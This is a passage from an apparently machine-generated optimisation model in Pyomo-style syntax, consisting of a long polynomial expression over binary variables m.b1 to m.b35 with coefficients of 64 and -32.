m.b22*m.b23*m.b27*m.b28 + 64*m.b22*m.b23*m.b28*m.b29 + 64*m.b22*m.b23*m.b29*m.b30 + 64*m.b22*
m.b23*m.b30*m.b31 + 64*m.b22*m.b23*m.b31*m.b32 + 64*m.b22*m.b23*m.b32*m.b33 + 64*m.b22*m.b23*
m.b33*m.b34 + 64*m.b22*m.b23*m.b34*m.b35 + 64*m.b22*m.b23*m.b35*m.b2 + 64*m.b22*m.b24*m.b25*m.b27
+ 64*m.b22*m.b24*m.b26*m.b28 + 64*m.b22*m.b24*m.b27*m.b29 + 64*m.b22*m.b24*m.b28*m.b30 + 64*
m.b22*m.b24*m.b29*m.b31 + 64*m.b22*m.b24*m.b30*m.b32 + 64*m.b22*m.b24*m.b31*m.b33 + 64*m.b22*
m.b24*m.b32*m.b34 + 64*m.b22*m.b24*m.b33*m.b35 + 64*m.b22*m.b24*m.b34*m.b2 + 64*m.b22*m.b25*m.b26
*m.b29 + 64*m.b22*m.b25*m.b27*m.b30 + 64*m.b22*m.b25*m.b28*m.b31 + 64*m.b22*m.b25*m.b29*m.b32 +
64*m.b22*m.b25*m.b30*m.b33 + 64*m.b22*m.b25*m.b31*m.b34 + 64*m.b22*m.b25*m.b32*m.b35 + 64*m.b22*
m.b25*m.b33*m.b2 + 64*m.b22*m.b26*m.b27*m.b31 + 64*m.b22*m.b26*m.b28*m.b32 + 64*m.b22*m.b26*m.b29
*m.b33 + 64*m.b22*m.b26*m.b30*m.b34 + 64*m.b22*m.b26*m.b31*m.b35 + 64*m.b22*m.b26*m.b32*m.b2 + 64
*m.b22*m.b27*m.b28*m.b33 + 64*m.b22*m.b27*m.b29*m.b34 + 64*m.b22*m.b27*m.b30*m.b35 + 64*m.b22*
m.b27*m.b31*m.b2 + 64*m.b22*m.b28*m.b29*m.b35 + 64*m.b22*m.b28*m.b30*m.b2 + 64*m.b23*m.b24*m.b25*
m.b26 + 64*m.b23*m.b24*m.b26*m.b27 + 64*m.b23*m.b24*m.b27*m.b28 + 64*m.b23*m.b24*m.b28*m.b29 + 64
*m.b23*m.b24*m.b29*m.b30 + 64*m.b23*m.b24*m.b30*m.b31 + 64*m.b23*m.b24*m.b31*m.b32 + 64*m.b23*
m.b24*m.b32*m.b33 + 64*m.b23*m.b24*m.b33*m.b34 + 64*m.b23*m.b24*m.b34*m.b35 + 64*m.b23*m.b24*
m.b35*m.b2 + 64*m.b23*m.b25*m.b26*m.b28 + 64*m.b23*m.b25*m.b27*m.b29 + 64*m.b23*m.b25*m.b28*m.b30
+ 64*m.b23*m.b25*m.b29*m.b31 + 64*m.b23*m.b25*m.b30*m.b32 + 64*m.b23*m.b25*m.b31*m.b33 + 64*
m.b23*m.b25*m.b32*m.b34 + 64*m.b23*m.b25*m.b33*m.b35 + 64*m.b23*m.b25*m.b34*m.b2 + 64*m.b23*m.b26
*m.b27*m.b30 + 64*m.b23*m.b26*m.b28*m.b31 + 64*m.b23*m.b26*m.b29*m.b32 + 64*m.b23*m.b26*m.b30*
m.b33 + 64*m.b23*m.b26*m.b31*m.b34 + 64*m.b23*m.b26*m.b32*m.b35 + 64*m.b23*m.b26*m.b33*m.b2 + 64*
m.b23*m.b27*m.b28*m.b32 + 64*m.b23*m.b27*m.b29*m.b33 + 64*m.b23*m.b27*m.b30*m.b34 + 64*m.b23*
m.b27*m.b31*m.b35 + 64*m.b23*m.b27*m.b32*m.b2 + 64*m.b23*m.b28*m.b29*m.b34 + 64*m.b23*m.b28*m.b30
*m.b35 + 64*m.b23*m.b28*m.b31*m.b2 + 64*m.b23*m.b29*m.b30*m.b2 + 64*m.b24*m.b25*m.b26*m.b27 + 64*
m.b24*m.b25*m.b27*m.b28 + 64*m.b24*m.b25*m.b28*m.b29 + 64*m.b24*m.b25*m.b29*m.b30 + 64*m.b24*
m.b25*m.b30*m.b31 + 64*m.b24*m.b25*m.b31*m.b32 + 64*m.b24*m.b25*m.b32*m.b33 + 64*m.b24*m.b25*
m.b33*m.b34 + 64*m.b24*m.b25*m.b34*m.b35 + 64*m.b24*m.b25*m.b35*m.b2 + 64*m.b24*m.b26*m.b27*m.b29
+ 64*m.b24*m.b26*m.b28*m.b30 + 64*m.b24*m.b26*m.b29*m.b31 + 64*m.b24*m.b26*m.b30*m.b32 + 64*
m.b24*m.b26*m.b31*m.b33 + 64*m.b24*m.b26*m.b32*m.b34 + 64*m.b24*m.b26*m.b33*m.b35 + 64*m.b24*
m.b26*m.b34*m.b2 + 64*m.b24*m.b27*m.b28*m.b31 + 64*m.b24*m.b27*m.b29*m.b32 + 64*m.b24*m.b27*m.b30
*m.b33 + 64*m.b24*m.b27*m.b31*m.b34 + 64*m.b24*m.b27*m.b32*m.b35 + 64*m.b24*m.b27*m.b33*m.b2 + 64
*m.b24*m.b28*m.b29*m.b33 + 64*m.b24*m.b28*m.b30*m.b34 + 64*m.b24*m.b28*m.b31*m.b35 + 64*m.b24*
m.b28*m.b32*m.b2 + 64*m.b24*m.b29*m.b30*m.b35 + 64*m.b24*m.b29*m.b31*m.b2 + 64*m.b25*m.b26*m.b27*
m.b28 + 64*m.b25*m.b26*m.b28*m.b29 + 64*m.b25*m.b26*m.b29*m.b30 + 64*m.b25*m.b26*m.b30*m.b31 + 64
*m.b25*m.b26*m.b31*m.b32 + 64*m.b25*m.b26*m.b32*m.b33 + 64*m.b25*m.b26*m.b33*m.b34 + 64*m.b25*
m.b26*m.b34*m.b35 + 64*m.b25*m.b26*m.b35*m.b2 + 64*m.b25*m.b27*m.b28*m.b30 + 64*m.b25*m.b27*m.b29
*m.b31 + 64*m.b25*m.b27*m.b30*m.b32 + 64*m.b25*m.b27*m.b31*m.b33 + 64*m.b25*m.b27*m.b32*m.b34 +
64*m.b25*m.b27*m.b33*m.b35 + 64*m.b25*m.b27*m.b34*m.b2 + 64*m.b25*m.b28*m.b29*m.b32 + 64*m.b25*
m.b28*m.b30*m.b33 + 64*m.b25*m.b28*m.b31*m.b34 + 64*m.b25*m.b28*m.b32*m.b35 + 64*m.b25*m.b28*
m.b33*m.b2 + 64*m.b25*m.b29*m.b30*m.b34 + 64*m.b25*m.b29*m.b31*m.b35 + 64*m.b25*m.b29*m.b32*m.b2
+ 64*m.b25*m.b30*m.b31*m.b2 + 64*m.b26*m.b27*m.b28*m.b29 + 64*m.b26*m.b27*m.b29*m.b30 + 64*m.b26
*m.b27*m.b30*m.b31 + 64*m.b26*m.b27*m.b31*m.b32 + 64*m.b26*m.b27*m.b32*m.b33 + 64*m.b26*m.b27*
m.b33*m.b34 + 64*m.b26*m.b27*m.b34*m.b35 + 64*m.b26*m.b27*m.b35*m.b2 + 64*m.b26*m.b28*m.b29*m.b31
+ 64*m.b26*m.b28*m.b30*m.b32 + 64*m.b26*m.b28*m.b31*m.b33 + 64*m.b26*m.b28*m.b32*m.b34 + 64*
m.b26*m.b28*m.b33*m.b35 + 64*m.b26*m.b28*m.b34*m.b2 + 64*m.b26*m.b29*m.b30*m.b33 + 64*m.b26*m.b29
*m.b31*m.b34 + 64*m.b26*m.b29*m.b32*m.b35 + 64*m.b26*m.b29*m.b33*m.b2 + 64*m.b26*m.b30*m.b31*
m.b35 + 64*m.b26*m.b30*m.b32*m.b2 + 64*m.b27*m.b28*m.b29*m.b30 + 64*m.b27*m.b28*m.b30*m.b31 + 64*
m.b27*m.b28*m.b31*m.b32 + 64*m.b27*m.b28*m.b32*m.b33 + 64*m.b27*m.b28*m.b33*m.b34 + 64*m.b27*
m.b28*m.b34*m.b35 + 64*m.b27*m.b28*m.b35*m.b2 + 64*m.b27*m.b29*m.b30*m.b32 + 64*m.b27*m.b29*m.b31
*m.b33 + 64*m.b27*m.b29*m.b32*m.b34 + 64*m.b27*m.b29*m.b33*m.b35 + 64*m.b27*m.b29*m.b34*m.b2 + 64
*m.b27*m.b30*m.b31*m.b34 + 64*m.b27*m.b30*m.b32*m.b35 + 64*m.b27*m.b30*m.b33*m.b2 + 64*m.b27*
m.b31*m.b32*m.b2 + 64*m.b28*m.b29*m.b30*m.b31 + 64*m.b28*m.b29*m.b31*m.b32 + 64*m.b28*m.b29*m.b32
*m.b33 + 64*m.b28*m.b29*m.b33*m.b34 + 64*m.b28*m.b29*m.b34*m.b35 + 64*m.b28*m.b29*m.b35*m.b2 + 64
*m.b28*m.b30*m.b31*m.b33 + 64*m.b28*m.b30*m.b32*m.b34 + 64*m.b28*m.b30*m.b33*m.b35 + 64*m.b28*
m.b30*m.b34*m.b2 + 64*m.b28*m.b31*m.b32*m.b35 + 64*m.b28*m.b31*m.b33*m.b2 + 64*m.b29*m.b30*m.b31*
m.b32 + 64*m.b29*m.b30*m.b32*m.b33 + 64*m.b29*m.b30*m.b33*m.b34 + 64*m.b29*m.b30*m.b34*m.b35 + 64
*m.b29*m.b30*m.b35*m.b2 + 64*m.b29*m.b31*m.b32*m.b34 + 64*m.b29*m.b31*m.b33*m.b35 + 64*m.b29*
m.b31*m.b34*m.b2 + 64*m.b29*m.b32*m.b33*m.b2 + 64*m.b30*m.b31*m.b32*m.b33 + 64*m.b30*m.b31*m.b33*
m.b34 + 64*m.b30*m.b31*m.b34*m.b35 + 64*m.b30*m.b31*m.b35*m.b2 + 64*m.b30*m.b32*m.b33*m.b35 + 64*
m.b30*m.b32*m.b34*m.b2 + 64*m.b31*m.b32*m.b33*m.b34 + 64*m.b31*m.b32*m.b34*m.b35 + 64*m.b31*m.b32
*m.b35*m.b2 + 64*m.b31*m.b33*m.b34*m.b2 + 64*m.b32*m.b33*m.b34*m.b35 + 64*m.b32*m.b33*m.b35*m.b2
+ 64*m.b33*m.b34*m.b35*m.b2 - 32*m.b1*m.b3*m.b4 - 64*m.b1*m.b3*m.b5 - 64*m.b1*m.b3*m.b6 - 64*
m.b1*m.b3*m.b7 - 64*m.b1*m.b3*m.b8 - 64*m.b1*m.b3*m.b9 - 64*m.b1*m.b3*m.b10 - 64*m.b1*m.b3*m.b11
- 64*m.b1*m.b3*m.b12 - 64*m.b1*m.b3*m.b13 - 64*m.b1*m.b3*m.b14 - 64*m.b1*m.b3*m.b15 - 64*m.b1*
m.b3*m.b16 - 64*m.b1*m.b3*m.b17 - 64*m.b1*m.b3*m.b18 - 64*m.b1*m.b3*m.b19 - 64*m.b1*m.b3*m.b20 -
64*m.b1*m.b3*m.b21 - 64*m.b1*m.b3*m.b22 - 64*m.b1*m.b3*m.b23 - 64*m.b1*m.b3*m.b24 - 64*m.b1*m.b3*
m.b25 - 64*m.b1*m.b3*m.b26 - 64*m.b1*m.b3*m.b27 - 64*m.b1*m.b3*m.b28 - 64*m.b1*m.b3*m.b29 - 64*
m.b1*m.b3*m.b30 - 64*m.b1*m.b3*m.b31 - 64*m.b1*m.b3*m.b32 - 64*m.b1*m.b3*m.b33 - 64*m.b1*m.b3*
m.b34 - 64*m.b1*m.b3*m.b35 - 32*m.b1*m.b3*m.b2 - 64*m.b1*m.b4*m.b5 - 32*m.b1*m.b4*m.b6 - 64*m.b1*
m.b4*m.b7 - 64*m.b1*m.b4*m.b8 - 64*m.b1*m.b4*m.b9 - 64*m.b1*m.b4*m.b10 - 64*m.b1*m.b4*m.b11 - 64*
m.b1*m.b4*m.b12 - 64*m.b1*m.b4*m.b13 - 64*m.b1*m.b4*m.b14 - 64*m.b1*m.b4*m.b15 - 64*m.b1*m.b4*
m.b16 - 64*m.b1*m.b4*m.b17 - 64*m.b1*m.b4*m.b18 - 64*m.b1*m.b4*m.b19 - 64*m.b1*m.b4*m.b20 - 64*
m.b1*m.b4*m.b21 - 64*m.b1*m.b4*m.b22 - 64*m.b1*m.b4*m.b23 - 64*m.b1*m.b4*m.b24 - 64*m.b1*m.b4*
m.b25 - 64*m.b1*m.b4*m.b26 - 64*m.b1*m.b4*m.b27 - 64*m.b1*m.b4*m.b28 - 64*m.b1*m.b4*m.b29 - 64*
m.b1*m.b4*m.b30 - 64*m.b1*m.b4*m.b31 - 64*m.b1*m.b4*m.b32 - 64*m.b1*m.b4*m.b33 - 64*m.b1*m.b4*
m.b34 - 32*m.b1*m.b4*m.b35 - 32*m.b1*m.b4*m.b2 - 64*m.b1*m.b5*m.b6 - 64*m.b1*m.b5*m.b7 - 32*m.b1*
m.b5*m.b8 - 64*m.b1*m.b5*m.b9 - 64*m.b1*m.b5*m.b10 - 64*m.b1*m.b5*m.b11 - 64*m.b1*m.b5*m.b12 - 64
*m.b1*m.b5*m.b13 - 64*m.b1*m.b5*m.b14 - 64*m.b1*m.b5*m.b15 - 64*m.b1*m.b5*m.b16 - 64*m.b1*m.b5*
m.b17 - 64*m.b1*m.b5*m.b18 - 64*m.b1*m.b5*m.b19 - 64*m.b1*m.b5*m.b20 - 64*m.b1*m.b5*m.b21 - 64*
m.b1*m.b5*m.b22 - 64*m.b1*m.b5*m.b23 - 64*m.b1*m.b5*m.b24 - 64*m.b1*m.b5*m.b25 - 64*m.b1*m.b5*
m.b26 - 64*m.b1*m.b5*m.b27 - 64*m.b1*m.b5*m.b28 - 64*m.b1*m.b5*m.b29 - 64*m.b1*m.b5*m.b30 - 64*
m.b1*m.b5*m.b31 - 64*m.b1*m.b5*m.b32 - 64*m.b1*m.b5*m.b33 - 32*m.b1*m.b5*m.b34 - 32*m.b1*m.b5*
m.b35 - 32*m.b1*m.b5*m.b2 - 64*m.b1*m.b6*m.b7 - 64*m.b1*m.b6*m.b8 - 64*m.b1*m.b6*m.b9 - 32*m.b1*
m.b6*m.b10 - 64*m.b1*m.b6*m.b11 - 64*m.b1*m.b6*m.b12 - 64*m.b1*m.b6*m.b13 - 64*m.b1*m.b6*m.b14 -
64*m.b1*m.b6*m.b15 - 64*m.b1*m.b6*m.b16 - 64*m.b1*m.b6*m.b17 - 64*m.b1*m.b6*m.b18 - 64*m.b1*m.b6*
m.b19 - 64*m.b1*m.b6*m.b20 - 64*m.b1*m.b6*m.b21 - 64*m.b1*m.b6*m.b22 - 64*m.b1*m.b6*m.b23 - 64*
m.b1*m.b6*m.b24 - 64*m.b1*m.b6*m.b25 - 64*m.b1*m.b6*m.b26 - 64*m.b1*m.b6*m.b27 - 64*m.b1*m.b6*
m.b28 - 64*m.b1*m.b6*m.b29 - 64*m.b1*m.b6*m.b30 - 64*m.b1*m.b6*m.b31 - 64*m.b1*m.b6*m.b32 - 32*
m.b1*m.b6*m.b33 - 32*m.b1*m.b6*m.b34 - 32*m.b1*m.b6*m.b35 - 32*m.b1*m.b6*m.b2 - 64*m.b1*m.b7*m.b8
- 64*m.b1*m.b7*m.b9 - 64*m.b1*m.b7*m.b10 - 64*m.b1*m.b7*m.b11 - 32*m.b1*m.b7*m.b12 - 64*m.b1*
m.b7*m.b13 - 64*m.b1*m.b7*m.b14 - 64*m.b1*m.b7*m.b15 - 64*m.b1*m.b7*m.b16 - 64*m.b1*m.b7*m.b17 -
64*m.b1*m.b7*m.b18 - 64*m.b1*m.b7*m.b19 - 64*m.b1*m.b7*m.b20 - 64*m.b1*m.b7*m.b21 - 64*m.b1*m.b7*
m.b22 - 64*m.b1*m.b7*m.b23 - 64*m.b1*m.b7*m.b24 - 64*m.b1*m.b7*m.b25 - 64*m.b1*m.b7*m.b26 - 64*
m.b1*m.b7*m.b27 - 64*m.b1*m.b7*m.b28 - 64*m.b1*m.b7*m.b29 - 64*m.b1*m.b7*m.b30 - 64*m.b1*m.b7*
m.b31 - 32*m.b1*m.b7*m.b32 - 32*m.b1*m.b7*m.b33 - 32*m.b1*m.b7*m.b34 - 32*m.b1*m.b7*m.b35 - 32*
m.b1*m.b7*m.b2 - 64*m.b1*m.b8*m.b9 - 64*m.b1*m.b8*m.b10 - 64*m.b1*m.b8*m.b11 - 64*m.b1*m.b8*m.b12
- 64*m.b1*m.b8*m.b13 - 32*m.b1*m.b8*m.b14 - 64*m.b1*m.b8*m.b15 - 64*m.b1*m.b8*m.b16 - 64*m.b1*
m.b8*m.b17 - 64*m.b1*m.b8*m.b18 - 64*m.b1*m.b8*m.b19 - 64*m.b1*m.b8*m.b20 - 64*m.b1*m.b8*m.b21 -
64*m.b1*m.b8*m.b22 - 64*m.b1*m.b8*m.b23 - 64*m.b1*m.b8*m.b24 - 64*m.b1*m.b8*m.b25 - 64*m.b1*m.b8*
m.b26 - 64*m.b1*m.b8*m.b27 - 64*m.b1*m.b8*m.b28 - 64*m.b1*m.b8*m.b29 - 64*m.b1*m.b8*m.b30 - 32*
m.b1*m.b8*m.b31 - 32*m.b1*m.b8*m.b32 - 32*m.b1*m.b8*m.b33 - 32*m.b1*m.b8*m.b34 - 32*m.b1*m.b8*
m.b35 - 32*m.b1*m.b8*m.b2 - 64*m.b1*m.b9*m.b10 - 64*m.b1*m.b9*m.b11 - 64*m.b1*m.b9*m.b12 - 64*
m.b1*m.b9*m.b13 - 64*m.b1*m.b9*m.b14 - 64*m.b1*m.b9*m.b15 - 32*m.b1*m.b9*m.b16 - 64*m.b1*m.b9*
m.b17 - 64*m.b1*m.b9*m.b18 - 64*m.b1*m.b9*m.b19 - 64*m.b1*m.b9*m.b20 - 64*m.b1*m.b9*m.b21 - 64*
m.b1*m.b9*m.b22 - 64*m.b1*m.b9*m.b23 - 64*m.b1*m.b9*m.b24 - 64*m.b1*m.b9*m.b25 - 64*m.b1*m.b9*
m.b26 - 64*m.b1*m.b9*m.b27 - 64*m.b1*m.b9*m.b28 - 64*m.b1*m.b9*m.b29 - 32*m.b1*m.b9*m.b30 - 32*
m.b1*m.b9*m.b31 - 32*m.b1*m.b9*m.b32 - 32*m.b1*m.b9*m.b33 - 32*m.b1*m.b9*m.b34 - 32*m.b1*m.b9*
m.b35 - 32*m.b1*m.b9*m.b2 - 64*m.b1*m.b10*m.b11 - 64*m.b1*m.b10*m.b12 - 64*m.b1*m.b10*m.b13 - 64*
m.b1*m.b10*m.b14 - 64*m.b1*m.b10*m.b15 - 64*m.b1*m.b10*m.b16 - 64*m.b1*m.b10*m.b17 - 32*m.b1*
m.b10*m.b18 - 64*m.b1*m.b10*m.b19 - 64*m.b1*m.b10*m.b20 - 64*m.b1*m.b10*m.b21 - 64*m.b1*m.b10*
m.b22 - 64*m.b1*m.b10*m.b23 - 64*m.b1*m.b10*m.b24 - 64*m.b1*m.b10*m.b25 - 64*m.b1*m.b10*m.b26 -
64*m.b1*m.b10*m.b27 - 64*m.b1*m.b10*m.b28 - 32*m.b1*m.b10*m.b29 - 32*m.b1*m.b10*m.b30 - 32*m.b1*
m.b10*m.b31 - 32*m.b1*m.b10*m.b32 - 32*m.b1*m.b10*m.b33 - 32*m.b1*m.b10*m.b34 - 32*m.b1*m.b10*
m.b35 - 32*m.b1*m.b10*m.b2 - 64*m.b1*m.b11*m.b12 - 64*m.b1*m.b11*m.b13 - 64*m.b1*m.b11*m.b14 - 64
*m.b1*m.b11*m.b15 - 64*m.b1*m.b11*m.b16 - 64*m.b1*m.b11*m.b17 - 64*m.b1*m.b11*m.b18 - 64*m.b1*
m.b11*m.b19 - 32*m.b1*m.b11*m.b20 - 64*m.b1*m.b11*m.b21 - 64*m.b1*m.b11*m.b22 - 64*m.b1*m.b11*
m.b23 - 64*m.b1*m.b11*m.b24 - 64*m.b1*m.b11*m.b25 - 64*m.b1*m.b11*m.b26 - 64*m.b1*m.b11*m.b27 -
32*m.b1*m.b11*m.b28 - 32*m.b1*m.b11*m.b29 - 32*m.b1*m.b11*m.b30 - 32*m.b1*m.b11*m.b31 - 32*m.b1*
m.b11*m.b32 - 32*m.b1*m.b11*m.b33 - 32*m.b1*m.b11*m.b34 - 32*m.b1*m.b11*m.b35 - 32*m.b1*m.b11*
m.b2 - 64*m.b1*m.b12*m.b13 - 64*m.b1*m.b12*m.b14 - 64*m.b1*m.b12*m.b15 - 64*m.b1*m.b12*m.b16 - 64
*m.b1*m.b12*m.b17 - 64*m.b1*m.b12*m.b18 - 64*m.b1*m.b12*m.b19 - 64*m.b1*m.b12*m.b20 - 64*m.b1*
m.b12*m.b21 - 32*m.b1*m.b12*m.b22 - 64*m.b1*m.b12*m.b23 - 64*m.b1*m.b12*m.b24 - 64*m.b1*m.b12*
m.b25 - 64*m.b1*m.b12*m.b26 - 32*m.b1*m.b12*m.b27 - 32*m.b1*m.b12*m.b28 - 32*m.b1*m.b12*m.b29 -
32*m.b1*m.b12*m.b30 - 32*m.b1*m.b12*m.b31 - 32*m.b1*m.b12*m.b32 - 32*m.b1*m.b12*m.b33 - 32*m.b1*
m.b12*m.b34 - 32*m.b1*m.b12*m.b35 - 32*m.b1*m.b12*m.b2 - 64*m.b1*m.b13*m.b14 - 64*m.b1*m.b13*
m.b15 - 64*m.b1*m.b13*m.b16 - 64*m.b1*m.b13*m.b17 - 64*m.b1*m.b13*m.b18 - 64*m.b1*m.b13*m.b19 -
64*m.b1*m.b13*m.b20 - 64*m.b1*m.b13*m.b21 - 64*m.b1*m.b13*m.b22 - 64*m.b1*m.b13*m.b23 - 32*m.b1*
m.b13*m.b24 - 64*m.b1*m.b13*m.b25 - 32*m.b1*m.b13*m.b26 - 32*m.b1*m.b13*m.b27 - 32*m.b1*m.b13*
m.b28 - 32*m.b1*m.b13*m.b29 - 32*m.b1*m.b13*m.b30 - 32*m.b1*m.b13*m.b31 - 32*m.b1*m.b13*m.b32 -
32*m.b1*m.b13*m.b33 - 32*m.b1*m.b13*m.b34 - 32*m.b1*m.b13*m.b35 - 32*m.b1*m.b13*m.b2 - 64*m.b1*
m.b14*m.b15 - 64*m.b1*m.b14*m.b16 - 64*m.b1*m.b14*m.b17 - 64*m.b1*m.b14*m.b18 - 64*m.b1*m.b14*
m.b19 - 64*m.b1*m.b14*m.b20 - 64*m.b1*m.b14*m.b21 - 64*m.b1*m.b14*m.b22 - 64*m.b1*m.b14*m.b23 -
64*m.b1*m.b14*m.b24 - 32*m.b1*m.b14*m.b25 - 32*m.b1*m.b14*m.b27 - 32*m.b1*m.b14*m.b28 - 32*m.b1*
m.b14*m.b29 - 32*m.b1*m.b14*m.b30 - 32*m.b1*m.b14*m.b31 - 32*m.b1*m.b14*m.b32 - 32*m.b1*m.b14*
m.b33 - 32*m.b1*m.b14*m.b34 - 32*m.b1*m.b14*m.b35 - 32*m.b1*m.b14*m.b2 - 64*m.b1*m.b15*m.b16 - 64
*m.b1*m.b15*m.b17 - 64*m.b1*m.b15*m.b18 - 64*m.b1*m.b15*m.b19 - 64*m.b1*m.b15*m.b20 - 64*m.b1*
m.b15*m.b21 - 64*m.b1*m.b15*m.b22 - 64*m.b1*m.b15*m.b23 - 32*m.b1*m.b15*m.b24 - 32*m.b1*m.b15*
m.b25 - 32*m.b1*m.b15*m.b26 - 32*m.b1*m.b15*m.b27 - 32*m.b1*m.b15*m.b29 - 32*m.b1*m.b15*m.b30 -
32*m.b1*m.b15*m.b31 - 32*m.b1*m.b15*m.b32 - 32*m.b1*m.b15*m.b33 - 32*m.b1*m.b15*m.b34 - 32*m.b1*
m.b15*m.b35 - 32*m.b1*m.b15*m.b2 - 64*m.b1*m.b16*m.b17 - 64*m.b1*m.b16*m.b18 - 64*m.b1*m.b16*
m.b19 - 64*m.b1*m.b16*m.b20 - 64*m.b1*m.b16*m.b21 - 64*m.b1*m.b16*m.b22 - 32*m.b1*m.b16*m.b23 -
32*m.b1*m.b16*m.b24 - 32*m.b1*m.b16*m.b25 - 32*m.b1*m.b16*m.b26 - 32*m.b1*m.b16*m.b27 - 32*m.b1*
m.b16*m.b28 - 32*m.b1*m.b16*m.b29 - 32*m.b1*m.b16*m.b31 - 32*m.b1*m.b16*m.b32 - 32*m.b1*m.b16*
m.b33 - 32*m.b1*m.b16*m.b34 - 32*m.b1*m.b16*m.b35 - 32*m.b1*m.b16*m.b2 - 64*m.b1*m.b17*m.b18 - 64
*m.b1*m.b17*m.b19 - 64*m.b1*m.b17*m.b20 - 64*m.b1*m.b17*m.b21 - 32*m.b1*m.b17*m.b22 - 32*m.b1*
m.b17*m.b23 - 32*m.b1*m.b17*m.b24 - 32*m.b1*m.b17*m.b25 - 32*m.b1*m.b17*m.b26 - 32*m.b1*m.b17*
m.b27 - 32*m.b1*m.b17*m.b28 - 32*m.b1*m.b17*m.b29 - 32*m.b1*m.b17*m.b30 - 32*m.b1*m.b17*m.b31 -
32*m.b1*m.b17*m.b33 - 32*m.b1*m.b17*m.b34 - 32*m.b1*m.b17*m.b35 - 32*m.b1*m.b17*m.b2 - 64*m.b1*
m.b18*m.b19 - 64*m.b1*m.b18*m.b20 - 32*m.b1*m.b18*m.b21 - 32*m.b1*m.b18*m.b22 - 32*m.b1*m.b18*
m.b23 - 32*m.b1*m.b18*m.b24 - 32*m.b1*m.b18*m.b25 - 32*m.b1*m.b18*m.b26 - 32*m.b1*m.b18*m.b27 -
32*m.b1*m.b18*m.b28 - 32*m.b1*m.b18*m.b29 - 32*m.b1*m.b18*m.b30 - 32*m.b1*m.b18*m.b31 - 32*m.b1*
m.b18*m.b32 - 32*m.b1*m.b18*m.b33 - 32*m.b1*m.b18*m.b35 - 32*m.b1*m.b18*m.b2 - 32*m.b1*m.b19*
m.b20 - 32*m.b1*m.b19*m.b21 - 32*m.b1*m.b19*m.b22 - 32*m.b1*m.b19*m.b23 - 32*m.b1*m.b19*m.b24 -
32*m.b1*m.b19*m.b25 - 32*m.b1*m.b19*m.b26 - 32*m.b1*m.b19*m.b27 - 32*m.b1*m.b19*m.b28 - 32*m.b1*
m.b19*m.b29 - 32*m.b1*m.b19*m.b30 - 32*m.b1*m.b19*m.b31 - 32*m.b1*m.b19*m.b32 - 32*m.b1*m.b19*
m.b33 - 32*m.b1*m.b19*m.b34 - 32*m.b1*m.b19*m.b35 - 32*m.b1*m.b20*m.b21 - 32*m.b1*m.b20*m.b22 -
32*m.b1*m.b20*m.b23 - 32*m.b1*m.b20*m.b24 - 32*m.b1*m.b20*m.b25 - 32*m.b1*m.b20*m.b26 - 32*m.b1*
m.b20*m.b27 - 32*m.b1*m.b20*m.b28 - 32*m.b1*m.b20*m.b29 - 32*m.b1*m.b20*m.b30 - 32*m.b1*m.b20*
m.b31 - 32*m.b1*m.b20*m.b32 - 32*m.b1*m.b20*m.b33 - 32*m.b1*m.b20*m.b34 - 32*m.b1*m.b20*m.b35 -
32*m.b1*m.b20*m.b2 - 32*m.b1*m.b21*m.b22 - 32*m.b1*m.b21*m.b23 - 32*m.b1*m.b21*m.b24 - 32*m.b1*
m.b21*m.b25 - 32*m.b1*m.b21*m.b26 - 32*m.b1*m.b21*m.b27 - 32*m.b1*m.b21*m.b28 - 32*m.b1*m.b21*
m.b29 - 32*m.b1*m.b21*m.b30 - 32*m.b1*m.b21*m.b31 - 32*m.b1*m.b21*m.b32 - 32*m.b1*m.b21*m.b33 -
32*m.b1*m.b21*m.b34 - 32*m.b1*m.b21*m.b35 - 32*m.b1*m.b21*m.b2 - 32*m.b1*m.b22*m.b23 - 32*m.b1*
m.b22*m.b24 - 32*m.b1*m.b22*m.b25 - 32*m.b1*m.b22*m.b26 - 32*m.b1*m.b22*m.b27 - 32*m.b1*m.b22*
m.b28 - 32*m.b1*m.b22*m.b29 - 32*m.b1*m.b22*m.b30 - 32*m.b1*m.b22*m.b31 - 32*m.b1*m.b22*m.b32 -
32*m.b1*m.b22*m.b33 - 32*m.b1*m.b22*m.b34 - 32*m.b1*m.b22*m.b35 - 32*m.b1*m.b22*m.b2 - 32*m.b1*
m.b23*m.b24 - 32*m.b1*m.b23*m.b25 - 32*m.b1*m.b23*m.b26 - 32*m.b1*m.b23*m.b27 - 32*m.b1*m.b23*
m.b28 - 32*m.b1*m.b23*m.b29 - 32*m.b1*m.b23*m.b30 - 32*m.b1*m.b23*m.b31 - 32*m.b1*m.b23*m.b32 -
32*m.b1*m.b23*m.b33 - 32*m.b1*m.b23*m.b34 - 32*m.b1*m.b23*m.b35 - 32*m.b1*m.b23*m.b2 - 32*m.b1*
m.b24*m.b25 - 32*m.b1*m.b24*m.b26 - 32*m.b1*m.b24*m.b27 - 32*m.b1*m.b24*m.b28 - 32*m.b1*m.b24*
m.b29 - 32*m.b1*m.b24*m.b30 - 32*m.b1*m.b24*m.b31 - 32*m.b1*m.b24*m.b32 - 32*m.b1*m.b24*m.b33 -
32*m.b1*m.b24*m.b34 - 32*m.b1*m.b24*m.b35 - 32*m.b1*m.b24*m.b2 - 32*m.b1*m.b25*m.b26 - 32*m.b1*
m.b25*m.b27 - 32*m.b1*m.b25*m.b28 - 32*m.b1*m.b25*m.b29 - 32*m.b1*m.b25*m.b30 - 32*m.b1*m.b25*
m.b31 - 32*m.b1*m.b25*m.b32 - 32*m.b1*m.b25*m.b33 - 32*m.b1*m.b25*m.b34 - 32*m.b1*m.b25*m.b35 -
32*m.b1*m.b25*m.b2 - 32*m.b1*m.b26*m.b27 - 32*m.b1*m.b26*m.b28 - 32*m.b1*m.b26*m.b29 - 32*m.b1*
m.b26*m.b30 - 32*m.b1*m.b26*m.b31 - 32*m.b1*m.b26*m.b32 - 32*m.b1*m.b26*m.b33 - 32*m.b1*m.b26*
m.b34 - 32*m.b1*m.b26*m.b35 - 32*m.b1*m.b26*m.b2 - 32*m.b1*m.b27*m.b28 - 32*m.b1*m.b27*m.b29 - 32
*m.b1*m.b27*m.b30 - 32*m.b1*m.b27*m.b31 - 32*m.b1*m.b27*m.b32 - 32*m.b1*m.b27*m.b33 - 32*m.b1*
m.b27*m.b34 - 32*m.b1*m.b27*m.b35 - 32*m.b1*m.b27*m.b2 - 32*m.b1*m.b28*m.b29 - 32*m.b1*m.b28*
m.b30 - 32*m.b1*m.b28*m.b31 - 32*m.b1*m.b28*m.b32 - 32*m.b1*m.b28*m.b33 - 32*m.b1*m.b28*m.b34 -
